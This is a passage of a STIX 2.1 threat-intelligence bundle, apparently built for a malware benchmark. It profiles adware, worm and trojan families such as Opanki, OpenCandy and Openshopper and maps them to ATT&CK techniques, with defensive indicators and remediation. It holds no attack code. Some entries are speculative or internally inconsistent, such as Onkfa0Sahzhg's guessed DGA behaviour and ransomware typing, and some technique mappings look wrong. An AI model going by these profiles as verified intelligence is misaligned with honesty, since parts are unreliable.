      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Onesystemcare exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a9b9f1fa-9892-56b5-a1ff-63de0ec02472",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Onkfa0Sahzhg",
      "description": "<h3>Executive Summary</h3>\nOnkfa0sahzhg is a heuristic detection name assigned to a highly obfuscated Trojan variant. The randomly generated alphanumeric name strongly suggests the use of a Domain Generation Algorithm (DGA) for Command and Control (C2) communication or a polymorphic packing engine designed to dynamically alter the file's hash on every execution, making traditional signature-based detection highly ineffective.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware bearing such randomized nomenclature is typically delivered as a secondary payload. An initial access broker or a primary downloader (like Emotet or Trickbot) drops this obfuscated executable onto the victim's machine once a foothold is established.\n\nUpon execution, this trojan prioritizes stealth and evasion:\n<ul>\n<li><strong>Polymorphism and Packing:</strong> The executable is heavily packed. It unpacks itself directly into memory (fileless execution) to hide its true intent from static analysis tools.</li>\n<li><strong>Process Injection:</strong> It frequently utilizes Process Hollowing, suspending a legitimate Windows process (e.g., `svchost.exe`) and replacing its memory space with the malicious code, allowing it to bypass application whitelisting and firewall rules.</li>\n<li><strong>C2 Communication:</strong> The malware likely utilizes a DGA to programmatically generate hundreds of potential C2 domain names daily. It attempts to resolve these until it finds one registered by the attacker, allowing it to receive further instructions or exfiltrate data while evading static domain blocklists.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe presence of a highly obfuscated trojan like Onkfa0sahzhg is a critical indicator of compromise. It signifies that advanced evasion techniques have bypassed initial defenses. The payload could be anything from a silent info-stealer to a precursor for a network-wide ransomware deployment.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Eradication requires Endpoint Detection and Response (EDR) solutions that monitor for anomalous process behavior (like injection or unexpected outbound network connections) rather than relying on file hashes.</li>\n<li><strong>Network Isolation and DNS Filtering:</strong> Immediately isolate the machine. Analyze DNS logs for high volumes of NXDOMAIN (Non-Existent Domain) responses, which strongly indicate DGA activity, and block the successful resolutions.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion tactics and the likelihood of undiscovered secondary payloads, a complete bare-metal wipe and re-image from a trusted backup is the most secure remediation path.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Onkfa0sahzhg",
        "Win32/Trojan.Obfuscated",
        "Suspicious.DGA"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Onkfa0Sahzhg",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/onkfa0sahzhg"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dbe73d95-10f8-56ee-a15a-9cf35e46cc6a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9b9f1fa-9892-56b5-a1ff-63de0ec02472",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Onkfa0Sahzhg exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea7b5861-fe1e-54fd-91a0-10e81c961e52",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9b9f1fa-9892-56b5-a1ff-63de0ec02472",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Onkfa0Sahzhg exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3fce6175-6d18-511a-a0d7-a5ac44a74e58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9b9f1fa-9892-56b5-a1ff-63de0ec02472",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Onkfa0Sahzhg exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--875c0da4-5df4-56d1-84c3-d88fd840f344",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9b9f1fa-9892-56b5-a1ff-63de0ec02472",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Onkfa0Sahzhg exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d57f098a-5417-583c-8e2d-27b3fd524324",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Onlineg",
      "description": "Adware/PUP:Win32/Onlineg (or 'Online Games') refers to malicious payloads bundled with or masquerading as free online games, game cheats, 'trainers', or mod installers. This is a massive distribution vector for malware, targeting a demographic that frequently disables antivirus software in order to run 'cracked' executables (`T1204.002`). The payloads range from simple adware to severe InfoStealers and Cryptominers.<br><br><b>Understanding Onlineg (Game-Bundled Malware)</b><br>To an end-user, they believe they are downloading a cheat for a popular multiplayer game. Upon executing the file, the game cheat may actually work, but a silent, malicious payload is installed in the background. For a security team, Onlineg represents a significant risk, particularly with the rise of BYOD (Bring Your Own Device) and remote work, where users may install game cheats on machines containing corporate credentials.<br><br><b>Execution and Distribution Mechanics</b><br>Onlineg is primarily distributed via YouTube videos demonstrating the 'cheat' with a link in the description, or via untrustworthy peer-to-peer (P2P) networks. Upon execution, the malware relies on User Execution (`T1204.002`). Because users are accustomed to game cracks requiring administrative privileges, they willingly click through UAC prompts. The malware establishes persistence via the Registry Run keys. It frequently installs a hidden Cryptominer (`T1496`) (since gaming PCs have powerful GPUs) or an InfoStealer (like RedLine) to harvest saved browser passwords and cryptocurrency wallets (`T1552.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranges from degraded system performance (due to mining) to total credential compromise. Host-based IoCs include EDR alerts for known mining binaries (e.g., `xmrig.exe`), the presence of unexpected scheduled tasks, and the execution of heavily obfuscated binaries from the `%Downloads%` folder. Network IoCs include connections to mining pools (often using the Stratum protocol) or outbound HTTP POST requests exfiltrating ZIP files containing stolen browser data. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Onlineg",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/onlineg"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7600242d-fa36-50aa-82eb-2339138e5a84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d57f098a-5417-583c-8e2d-27b3fd524324",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Onlineg exhibits technique T1204.002 (User Execution: Malicious File (Tricking the user into executing the 'cheat' program))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4601fea1-e2c8-585c-922b-d3eb22d80c23",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d57f098a-5417-583c-8e2d-27b3fd524324",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Onlineg exhibits technique T1496 (Resource Hijacking (Installing hidden cryptominers to abuse the victim's GPU))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--990686e7-77d2-5fa0-9624-6d5ef0f40942",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d57f098a-5417-583c-8e2d-27b3fd524324",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Onlineg exhibits technique T1552.001 (Credentials In Files (Stealing saved browser passwords and crypto wallets))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--932c651e-a774-5b3f-a498-a4edf0a0a512",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Opanki",
      "description": "Worm:Win32/Opanki is a legacy, self-propagating worm that gained extreme prevalence in the mid-to-late 2000s by aggressively exploiting Instant Messaging (IM) networks\u2014specifically AOL Instant Messenger (AIM) and MSN Messenger. Its primary objective was rapid, viral propagation across social networks, turning infected endpoints into localized spam bots that bombarded the user's contact list with malicious links.<br><br><b>Understanding the Opanki Worm</b><br>To an infected user, the computer might seem fine, but their friends would suddenly report receiving strange, out-of-character messages from them containing suspicious links (e.g., 'haha look at this picture of us!'). For security analysts, Opanki was a nightmare of lateral movement via social engineering, utilizing the trust inherent in IM contact lists to achieve massive infection rates.<br><br><b>Propagation and IM Hijacking Mechanics</b><br>The infection cycle begins when a victim clicks a malicious link received from an infected friend via an IM client (`T1566.001`). The link downloads the Opanki executable (often disguised as a `.scr` screensaver or a `.pif` file). Upon execution (`T1204.002`), it establishes persistence via Registry Run keys (`T1547.001`). The worm then hooks into the active APIs of the running Instant Messaging clients (`T1056`). It scans the user's active contact list and automatically sends a hardcoded, socially engineered message containing a link to a copy of itself to every online contact (`T1534`). Some variants also contained backdoor functionality (`T1071.001`) or downloaded secondary adware payloads.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact was severe disruption of communication networks, reputational damage to the user, and the potential deployment of secondary malware. The most glaring IoC is the user's IM client autonomously sending messages without user interaction. Host-based IoCs include EDR alerts for the creation of randomly named executables in the Windows System directory and the modification of Registry Run keys. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Opanki",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/opanki"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6220f4c-89d0-57a4-9497-1b41b1e2323e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--932c651e-a774-5b3f-a498-a4edf0a0a512",
      "target_ref": "attack-pattern--f6e44ca9-76e4-5a5b-81ea-4fbe314d9178",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opanki exhibits technique T1534 (Internal Spearphishing (Propagating via IM contact lists))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2a23428-8503-5f84-bcf0-31604b6e68ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--932c651e-a774-5b3f-a498-a4edf0a0a512",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opanki exhibits technique T1566.001 (Phishing: Spearphishing Link)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc65f97d-0459-5640-9c3f-104834bb9fa8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--932c651e-a774-5b3f-a498-a4edf0a0a512",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opanki exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--27853f51-ef24-59c6-abcc-4dcae3960fac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--932c651e-a774-5b3f-a498-a4edf0a0a512",
      "target_ref": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opanki exhibits technique T1056 (Input Capture (Hooking IM client APIs))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f2b5df75-95bf-5f2e-a6ef-69a93bed1103",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Opencandy",
      "description": "OpenCandy (cataloged by Microsoft Defender as Adware:Win32/OpenCandy and PUA:Win32/CandyOpen) is a historic, commercial adware monetization framework and Potentially Unwanted Application (PUA) module active since 2008. Created by OpenCandy Inc., the software was designed as a dynamic third-party recommendation library (DLL) integrated into installation wizards for popular freeware products (such as DAEMON Tools, PDFCreator, CCleaner, and WinSCP). Upon executing a bundled installer, the OpenCandy module initiates background telemetry requests to affiliate servers (api.opencandy.com), gathering geolocation, operating system version, and system language parameters. The installer dynamically generates deceptive installation screens\u2014often using pre-selected checkboxes or misleading multi-button prompts\u2014to install sponsored partner toolbars, third-party browsers, and search hijackers without clear affirmative consent. While technically promoting commercial software, the aggressive Pay-Per-Install (PPI) monetization model, privacy harvesting, and residual browser modifications led major security vendors to flag OpenCandy as a persistent adware threat. (Observed samples in benchmark: 110)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/OpenCandy",
        "PUA:Win32/CandyOpen",
        "OpenCandy",
        "Adware.OpenCandy",
        "Win32/OpenCandy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Opencandy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/opencandy"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b61f74b8-e894-5181-bb32-10a9ceef52ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2b5df75-95bf-5f2e-a6ef-69a93bed1103",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opencandy exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0c51b8d-ed2f-5810-9037-6d733793c297",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2b5df75-95bf-5f2e-a6ef-69a93bed1103",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opencandy exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2b78585-2a20-583d-93eb-7506382d4e02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2b5df75-95bf-5f2e-a6ef-69a93bed1103",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opencandy exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--893efa0b-a479-5bee-8c29-af78c5985b9b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2b5df75-95bf-5f2e-a6ef-69a93bed1103",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opencandy exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1455e6b7-07d3-5044-beea-0f398b0776d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2b5df75-95bf-5f2e-a6ef-69a93bed1103",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opencandy exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ed93387-aa9c-5c47-b44e-1dcb74e2d6e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2b5df75-95bf-5f2e-a6ef-69a93bed1103",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opencandy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--788c6fdb-e833-573a-a2c2-2c672b6a4c9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Opendownloadmanager",
      "description": "OpenDownloadManager (classified across endpoint security engines as PUA:Win32/OpenDownloadManager and Adware:Win32/OpenDownloadManager) is a Potentially Unwanted Application and download manager bundled with invasive advertising injectors. Promoted as a utility to accelerate web file downloads, OpenDownloadManager injects commercial affiliate advertisements, pop-under windows, and sponsored search results into web browsing sessions. It alters browser default search engines and new tab URLs across installed browsers, routes search queries through monetized third-party search syndicates, and establishes persistent autostart entries under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. (Observed samples in benchmark: 13)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/OpenDownloadManager",
        "Adware:Win32/OpenDownloadManager",
        "Program:Win32/OpenDownloadManager",
        "OpenDownloadManager Adware",
        "Win32/OpenDownloadManager"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Opendownloadmanager",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/opendownloadmanager"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2b06100-85fc-524c-a748-21479509dae3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--788c6fdb-e833-573a-a2c2-2c672b6a4c9a",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opendownloadmanager exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a931f89d-0954-53b7-9c26-caf246e88df6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--788c6fdb-e833-573a-a2c2-2c672b6a4c9a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opendownloadmanager exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f80e2e6c-9832-5ba6-8c60-d31541716c87",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--788c6fdb-e833-573a-a2c2-2c672b6a4c9a",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opendownloadmanager exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7139bb9f-b1cc-5eed-a281-437950635c30",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--788c6fdb-e833-573a-a2c2-2c672b6a4c9a",
      "target_ref": "attack-pattern--984646e0-34fe-5848-ad02-8ae1f047b736",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opendownloadmanager exhibits technique T1059.004 (Command and Scripting Interpreter: Unix Shell (or Windows CMD/Batch))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cdf4b2ab-ec93-5a57-aee3-3b540e079c76",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--788c6fdb-e833-573a-a2c2-2c672b6a4c9a",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opendownloadmanager exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c1351037-d618-55a2-bae8-eff237f3db05",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Openinstall",
      "description": "OpenInstall (classified across security vendors as Adware:Win32/OpenInstall and PUA:Win32/OpenInstall) is an aggressive software bundler and adware delivery platform. Distributed via misleading online download portals and cracked software repositories, OpenInstall wraps legitimate software installers with multiple unwanted payloads, including browser hijackers, system trackers, and background ad injection modules. It secretly changes default search engines and new tab pages across installed web browsers, establishes persistence through Windows scheduled tasks and Run registry entries, and intercepts user browsing traffic to display affiliate banners and redirect URLs. (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/OpenInstall",
        "PUA:Win32/OpenInstall",
        "OpenInstall Bundler",
        "Program:Win32/OpenInstall",
        "Win32/OpenInstall"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Openinstall",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/openinstall"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c5048f05-637a-5ebb-924a-e079d0cfbb2f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c1351037-d618-55a2-bae8-eff237f3db05",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Openinstall exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--445408fe-ca48-5cfd-a5a1-3707dc6c92b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c1351037-d618-55a2-bae8-eff237f3db05",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Openinstall exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--154e3ba4-ac32-5c2c-8902-5f5ecc6b9744",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c1351037-d618-55a2-bae8-eff237f3db05",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Openinstall exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7da16226-5c19-5680-91f1-c93e449b76e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c1351037-d618-55a2-bae8-eff237f3db05",
      "target_ref": "attack-pattern--984646e0-34fe-5848-ad02-8ae1f047b736",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Openinstall exhibits technique T1059.004 (Command and Scripting Interpreter: Unix Shell (or Windows CMD/Batch))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4ab864f-73b4-5e82-8a09-6ee7e84075a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c1351037-d618-55a2-bae8-eff237f3db05",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Openinstall exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--228764b1-ac1d-5288-8ae1-598c5ac2c07f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Openshopper",
      "description": "Adware:Win32/Openshopper is a highly persistent adware framework and browser hijacker designed to inject unsolicited advertisements, fake coupons, and sponsored links directly into the user's web browsing experience (`T1189`). While marketed as a 'shopping assistant' or browser extension, its primary function is to intercept web traffic and monetize the user's behavior without their informed consent.<br><br><b>Understanding Openshopper</b><br>To an end-user, Openshopper manifests as a significant degradation of the web experience. Every e-commerce site visited will be overlaid with 'Compare Prices!' boxes, text links will be hyperlinked to third-party domains, and the default search engine is invariably changed. For a security team, it represents a risk to data privacy and a potential vector for more severe malvertising attacks, as the infrastructure serving the ads is often poorly secured.<br><br><b>Execution and Hijacking Mechanics</b><br>Openshopper is almost exclusively distributed via Software Bundling (`T1189`)\u2014attached to free software downloads, fake Flash updates, or pirated media. Upon execution, it installs itself as a Windows Service or Scheduled Task to ensure persistence (`T1543.003`). It then forcibly installs extensions into Chrome, Firefox, and Edge. To protect these extensions from being easily uninstalled by the user, Openshopper often modifies the Windows Registry (e.g., setting 'ForceInstall' Chrome policies) (`T1562.001`), locking the extension into the browser.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the unauthorized monetization of user data and exposure to malicious advertising. Host-based IoCs include registry modifications in `HKLM\\Software\\Policies\\Google\\Chrome\\ExtensionInstallForcelist`, the presence of unexpected scheduled tasks updating browser extensions, and unusual executables running from `%ProgramFiles%` or `%LocalAppData%` mimicking legitimate software names. Network IoCs include a massive volume of background HTTP/HTTPS requests to advertising and tracking domains whenever a browser is open. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Openshopper",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/openshopper"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
